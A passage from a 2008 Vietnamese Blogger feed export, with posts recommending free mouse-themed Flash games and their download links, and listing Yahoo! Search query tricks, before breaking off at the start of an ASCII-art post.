italic;"&gt;http://www.gamevui.com/images/Flash/gamevui/Tom_Jerry.swf&lt;/span&gt; hoặc &lt;span style="font-style: italic;"&gt;http://tinyurl.com/yvk2fu&lt;/span&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;&lt;span style=";font-family:Arial;color:maroon;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;&lt;span style=";font-family:Arial;color:maroon;"  &gt;&lt;span style="font-size:180%;"&gt;Chuột chũi tập bay&lt;/span&gt;&lt;img style="width: 207px; height: 151px;" alt="" src="http://khoahocphothong.com.vn/uploadedfiles/1202886495_Vui3.gif" align="right" border="0" height="161" hspace="4" vspace="4" width="226" /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Một trò chơi vui nhộn khác với nhân vật là các chú chuột chũi ngộ nghĩnh. Khéo léo và chính xác trong các cú click chuột bạn sẽ giúp những chú chuột này bay rất xa đấy!&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Bạn click chuột lần thứ nhất để chú chuột nhảy lên cao, canh chính xác khi chú ta rơi xuống rồi click lần hai để một chú khác dùng chiếc gối bắn chú ta đi thật xa. Trong khi bay, cố gắng giữ và click chuột để nhặt những vật dụng như bàn trượt, chong chóng phản lực, lò xo để tăng thêm sức mạnh và thành tích. Bạn có thể chơi game Chuột chũi tập bay trực tuyến tại địa chỉ:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;&lt;span style="font-style: italic;"&gt;http://www1.socvui.com/VCGuploaded/GameFlashs/chuotchuitapbay.swf&lt;/span&gt; hoặc:&lt;i&gt; http://tinyurl.com/2be57s&lt;/i&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size:180%;"&gt;&lt;b&gt;&lt;span style=";font-family:Arial;color:maroon;"  &gt;Chuột ăn phó mát&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;&lt;span style=";font-family:Arial;color:maroon;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;&lt;img alt="" src="http://khoahocphothong.com.vn/uploadedfiles/1202886530_Vui4.gif" align="left" border="0" hspace="4" vspace="4" /&gt;Trong trò chơi này, bạn sẽ vào vai một chú chuột háu ăn. Vì đói bụng nên chú ta phải đi kiếm những miếng phó mát để thỏa mãn cơn đói của mình. Nhưng những miếng phó mát thơm ngon được canh giữ rất nghiêm ngặt bởi những chú mèo béo hết sức tinh ranh khiến chuột ta phải di chuyển thật khéo léo để tránh khỏi sự truy cản của những chú mèo này. Cách chơi rất đơn giản, bạn sử dụng các phím mũi tên lên, xuống, trái, phải để điều khiển chú chuột di chuyển ăn phó mát. Nhưng hãy cẩn thận vì số lượng mèo xuất hiện sẽ ngày càng đông đấy.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Game được cung cấp hoàn toàn miễn phí. Bạn có thể chơi trực tuyến tại địa chỉ &lt;span style="font-style: italic;"&gt;http://www3.socvui.com/Game_ Vui_Nhon/chuot_an_pho_mat.html&lt;/span&gt; hoặc download về (158 KB) chơi offline tại &lt;span style="font-style: italic;"&gt;http://www.box.net/shared/558f1mr8cs&lt;/span&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;&lt;span style=";font-family:Arial;color:maroon;"  &gt;&lt;span style="font-size:180%;"&gt;Chú chuột đưa thư&lt;/span&gt;&lt;img alt="" src="http://khoahocphothong.com.vn/uploadedfiles/1202886555_Vui5.gif" align="right" border="0" hspace="4" vspace="4" /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Một chú chuột được giao nhiệm vụ đưa các bức email tới đúng địa chỉ.Nhưng công việc này lại không đơn giản chút nào bởi trên đường đi có rất nhiều lỗ hổng khiến chú chuột có thể bị rớt ra khỏi đường đi và các virus đe dọa làm hỏng thông điệp. Đây là một game rất ngộ nghĩnh, đồ họa đẹp và đòi hỏi bạn phải khéo léo nhanh tay một chút. Cách chơi thật đơn giản, bạn dùng chuột trái để click vào những điểm có màu sáng xanh giúp chú chuột chạy được đúng đến nơi đưa thư. Trên đường đi bạn phải tránh các lỗ hổng, diệt virus nếu cần. Tới được nơi có miếng phó mat là bạn đã qua màn chơi.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Game được cung cấp hoàn toàn miễn phí. Bạn có thể chơi trực tuyến tại địa chỉ &lt;span style="font-style: italic;"&gt;http://www3.socvui.com/Game_Vui_Nhon/chu_chuot_ dua_thu.html&lt;/span&gt; hoặc download về (393 KB) chơi offline tại &lt;span style="font-style: italic;"&gt;http://www.box.net/shared/ki2a2hnsoc&lt;/span&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;&lt;span style=";font-family:Arial;color:maroon;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size:180%;"&gt;&lt;b&gt;&lt;span style=";font-family:Arial;color:maroon;"  &gt;Chú chuột tham ăn&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;&lt;span style=";font-family:Arial;color:maroon;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;&lt;img alt="" src="http://khoahocphothong.com.vn/uploadedfiles/1202886573_Vui6.gif" align="left" border="0" hspace="4" vspace="4" /&gt;Có thể nói trò chơi này giống Mario, nhưng hấp dẫn hơn nhiều, vì phần hình ảnh đẹp, âm thanh vui nhộn và các màn chơi vô cùng lý thú. Cách chơi rất đơn giản, bạn sử dụng phím &lt;i&gt;Space &lt;/i&gt;để nhảy, mũi tên lên, xuống, trái, phải để điều khiển hướng di chuyển của chú chuột. Nhiệm vụ của bạn là phối hợp các nút điều khiển thật tốt, giúp chú chuột ăn hết được các miếng phó mát.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Game được cung cấp hoàn toàn miễn phí. Bạn có thể chơi trực tuyến tại địa chỉ &lt;span style="font-style: italic;"&gt;http://www3.socvui.com/Game_Kinh_Dien/chu_chuot_ tham_an.html&lt;/span&gt; hoặc download về chơi offline tại &lt;span style="font-style: italic;"&gt;http://www.box.net/shared/mo518ui8s0&lt;/span&gt; (560KB).&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;&lt;span style=";font-family:Arial;color:maroon;"  &gt;&lt;span style="font-size:180%;"&gt;Bầy chuột đào tẩu&lt;/span&gt;&lt;img alt="" src="http://khoahocphothong.com.vn/uploadedfiles/1202886588_Vui7.gif" align="right" border="0" hspace="4" vspace="4" /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Một chú chuột thực hiện cuộc đào tẩu trên một chiếc máy bay. Trên đường đi, chú ta phải lái máy bay tránh những chiếc máy bay khác di chuyển ngược chiều. Hãy tập trung điều khiển máy bay của chú chuột vượt qua những cửa ải khó nhất và bạn sẽ là người chiến thắng. Cách chơi rất đơn giản, bạn sử dụng các phím mũi tên lên, xuống để điều khiển chú chuột bay. Bạn không được đi quá vùng trời màu xanh và hãy tập trung ăn những quả bóng đỏ để có thể gọi các đồng đội đến yểm trợ.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Game được cung cấp hoàn toàn miễn phí. Bạn có thể chơi trực tuyến tại địa chỉ &lt;span style="font-style: italic;"&gt;http://www3.socvui.com/Game_Vui_Nhon/bay_chuot_ dao_tau.html&lt;/span&gt; hoặc download về &lt;span style=""&gt; &lt;/span&gt;(1,04 MB) chơi offline tại &lt;span style="font-style: italic;"&gt;http://www.box.net/shared/lewfx0fswk&lt;/span&gt;.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;&lt;span style=";font-family:Arial;color:maroon;"  &gt;&lt;img alt="" src="http://khoahocphothong.com.vn/uploadedfiles/1202886612_Vui8.gif" align="left" border="0" hspace="4" vspace="4" /&gt;&lt;span style="font-size:180%;"&gt;Siêu nhân chuột nhắt&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Ms M - bạn gái của siêu nhân chuột Super M vừa bị một bọn xấu bắt cóc. Hãy cùng siêu nhân chuột đi giải cứu Ms M và khám phá thành phố &lt;st1:place st="on"&gt;&lt;st1:placename st="on"&gt;Mouse&lt;/st1:placename&gt; &lt;st1:placetype st="on"&gt;City&lt;/st1:placetype&gt;&lt;/st1:place&gt; xinh đẹp. Cách chơi rất đơn giản, bạn di chuyển chuột để điều khiển hướng bay cho siêu nhân chuột đi giải cứu cô bạn gái xinh đẹp. Bạn phải chú ý ăn các đồng tiền rải rác trên đường đi nhưng đừng để bị đâm vào các tòa nhà.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Game được cung cấp hoàn toàn miễn phí. Bạn có thể chơi trực tuyến tại địa chỉ &lt;span style="font-style: italic;"&gt;http://www3.socvui.com/Game_Vui_Nhon/sieu_nhan_ chuot_nhat.html&lt;/span&gt; hoặc download về chơi offline tại &lt;span style="font-style: italic;"&gt;http://www.box.net/shared/me3jwumcks&lt;/span&gt; (1,21 MB).&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;&lt;span style=";font-family:Arial;color:maroon;"  &gt;&lt;span style="font-size:180%;"&gt;Remy tài ba&lt;/span&gt;&lt;img alt="" src="http://khoahocphothong.com.vn/uploadedfiles/1202886637_Vui9.gif" align="right" border="0" height="183" hspace="4" vspace="4" width="230" /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Trong trò chơi này, bạn sẽ điều khiển chú chuột có tên Remy tung hứng thức ăn. Luật chơi có vẻ rất đơn giản: chỉ cần di chuyển chuột là đủ. Nhưng bạn sẽ thấy không dễ chút nào bởi sự nhanh nhạy và khéo léo là yếu tố được đặt lên hàng đầu khi số lượng đồ ăn mỗi lúc một nhiều thêm và tốc độ game cũng tăng theo. Cách chơi cũng rất đơn giản, bạn di chuyển chuột để cho Remy chuyển động, tung hứng những món đồ ăn sao không cho rơi xuống sàn nhà. Ăn biểu tượng Intel để tăng tốc cho Remy.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Game được cung cấp hoàn toàn miễn phí. Bạn có thể chơi trực tuyến tại địa chỉ &lt;span style="font-style: italic;"&gt;http://www3.socvui.com/Game_Vui_Nhon/Remy_tai_ba.html&lt;/span&gt; hoặc download về&lt;span style=""&gt;  &lt;/span&gt;(870 KB) chơi offline tại &lt;span style="font-style: italic;"&gt;http://www.box.net/shared/js1tqwckk8&lt;/span&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style=";font-family:Arial;color:#000000;"  &gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="textcent" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;&lt;i&gt;&lt;span style=";font-family:Arial;color:#000000;"  &gt;Lưu ý: &lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=";font-family:Arial;font-size:130%;color:#000000;"   &gt;Để chơi offline các game trên, máy của bạn phải cài sẵn chương trình flash player hay bất cứ chương trình gì có khả năng chạy tập tin flash. Đơn giản hơn, bạn có thể click chuột phải lên game muốn chơi, chọn &lt;i&gt;Open With --&gt; Choose Program&lt;/i&gt; --&gt; &lt;i&gt;Internet Explorer ( Mozilla Firefox ) &lt;/i&gt;. Sau khi trình duyệt mở tập tin này lên, bạn bấm chuột trái vào thông báo&lt;i&gt; xổ&lt;/i&gt; xuống ở đầu trang rồi chọn &lt;i&gt;Allow Blocked Content&lt;/i&gt; và bắt đầu chơi game.&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-6715187621995743379?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/6715187621995743379/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=6715187621995743379' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/6715187621995743379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/6715187621995743379'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/03/vui-xun-mu-t-cng-cc-game-con-chut.html' title='Vui xuân Mậu Tí cùng các game con chuột !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-2453232539687782409</id><published>2008-02-28T23:36:00.000-08:00</published><updated>2008-02-28T23:40:06.991-08:00</updated><title type='text'>5 điều Google “chào thua” Yahoo! Search</title><content type='html'>&lt;td&gt;&lt;br /&gt;          &lt;table align="left" border="0" cellpadding="3" cellspacing="0" width="1"&gt;&lt;br /&gt;           &lt;tbody&gt;&lt;tr&gt;&lt;br /&gt;            &lt;td align="left"&gt;&lt;img id="StoryAvatar" src="http://images7.dantri.com.vn/Uploaded/trungn/YahooSearch.jpg" style="border-width: 0px; height: 150px; width: 200px;"&gt;&lt;/td&gt;&lt;br /&gt;           &lt;/tr&gt;&lt;br /&gt;           &lt;tr&gt;&lt;br /&gt;            &lt;td&gt;&lt;span id="AvatarDesc" class="image_desc"&gt;&lt;/span&gt;&lt;/td&gt;&lt;br /&gt;           &lt;/tr&gt;&lt;br /&gt;          &lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;          &lt;p&gt;&lt;b&gt;&lt;span id="lbTeaser" class="story_teaser"&gt;(Dân trí) - Google là cỗ máy tìm kiếm trực tuyến đựơc cả thế giới tin dùng, nhưng có ít nhất năm chức năng rất thú vị chỉ “kẻ chiếu dưới” Yahoo! Search mới có thể thực hiện. &lt;/span&gt;&lt;/b&gt;&lt;/p&gt;   &lt;span id="lbBody" class="story_body"&gt;&lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;1. Viết thư điện tử ngay trong ô tìm kiếm Yahoo! Search&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt; &lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;Gõ &lt;b style=""&gt;!mail abc@xyz.com&lt;/b&gt; vào ô tìm kiếm của Yahoo, và bạn sẽ có ngay một email mới trong hòm thư Yahoo!mail.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;2. Tìm lời bài hát của bất kì bài hát nào &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt; &lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;Gõ “&lt;b style=""&gt;&lt;i style=""&gt;tên ca sĩ&lt;/i&gt;&lt;span style=""&gt;  &lt;/span&gt;lyrics&lt;/b&gt;” (không có dấu ngoặc kép) để tìm lời các bài hát của ca sĩ Madonna, hoặc một bài hát cụ thể. Các yêu cầu tìm kiếm lời bài hát trên Yahoo! Search sẽ được chuyển trực tiếp sang dịch vụ lyrics cũng của Yahoo - bạn có thể yên tâm tuyệt đối về tính chính xác của kết quả tìm kiếm. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;3. Tìm kiếm từ trên trang web theo thứ tự đặc biệt &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt; &lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;Ai cũng biết cú pháp &lt;b style=""&gt;“Sylvester Stallone”&lt;/b&gt; (có dấu ngoặc kép) sẽ đưa kết quả có tên tài tử điện ảnh này, nhưng nếu bạn muốn tìm các trang web chứa các từ cần tìm theo đúng thự tự? Thêm dấu ngoặc đơn vào trước từ cần tìm, ví dụ &lt;b style=""&gt;[Sylvester Stallone]&lt;/b&gt; sẽ chỉ trả về kết quả website có từ Sylvester đứng trước Stallone. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;4. Tìm kiếm chỉ trong một website duy nhất&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt; &lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;Gõ &lt;b style=""&gt;!wiki Google &lt;/b&gt;vào ô Search để tìm thông tin về Google trên bách khoa toàn thư mở trực tuyến Wikipedia.com. Vài site phổ biến khác là !ebay, !amazon, !flickr. Nếu đang sử dụng FireFox, bạn có thể gõ các câu lệnh này ngay trong ô tìm kiếm phía trên bên phải trình duyệt.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;5. Kiểm tra số kết nối đến một trang web cụ thể&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt; &lt;/p&gt; &lt;p class="MsoBodyText" style="margin: 0cm 0cm 0pt;"&gt;&lt;span style="font-family:Times New Roman;font-size:100%;"&gt;Có bao nhiêu mục trên wikipedia có đường link tới trang CNN.com? Gần như không thể trả lời được câu hỏi này bằng Google, nhưng lại quá đơn giản nếu bạn đang sử dụng Yahoo! Search.&lt;span style=""&gt;  &lt;/span&gt;Chỉ cần gõ vào câu lệnh dưới đây và Yahoo sẽ đưa cho bạn danh sách tất cả các bài viết trên wikipedia có chứa đường dẫn tới trang tin tức CNN.com.&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal" style="margin: 0cm 0cm 0pt; line-height: normal;"&gt;&lt;strong&gt;&lt;span style="font-size: 12pt;"&gt;&lt;span style="font-family:Times New Roman;"&gt;linkdomain:cnn.com site:wikipedia.org&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-2453232539687782409?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/2453232539687782409/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=2453232539687782409' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/2453232539687782409'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/2453232539687782409'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/02/5-iu-google-cho-thua-yahoo-search.html' title='5 điều Google “chào thua” Yahoo! Search'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-2267053862561816065</id><published>2008-02-28T13:23:00.000-08:00</published><updated>2008-02-28T13:35:25.075-08:00</updated><title type='text'>The killer - ASCII image !</title><content type='html'>&lt;div align="center"&gt;&lt;style type="text/css"&gt;asciiimage{&lt;br /&gt;            color           : 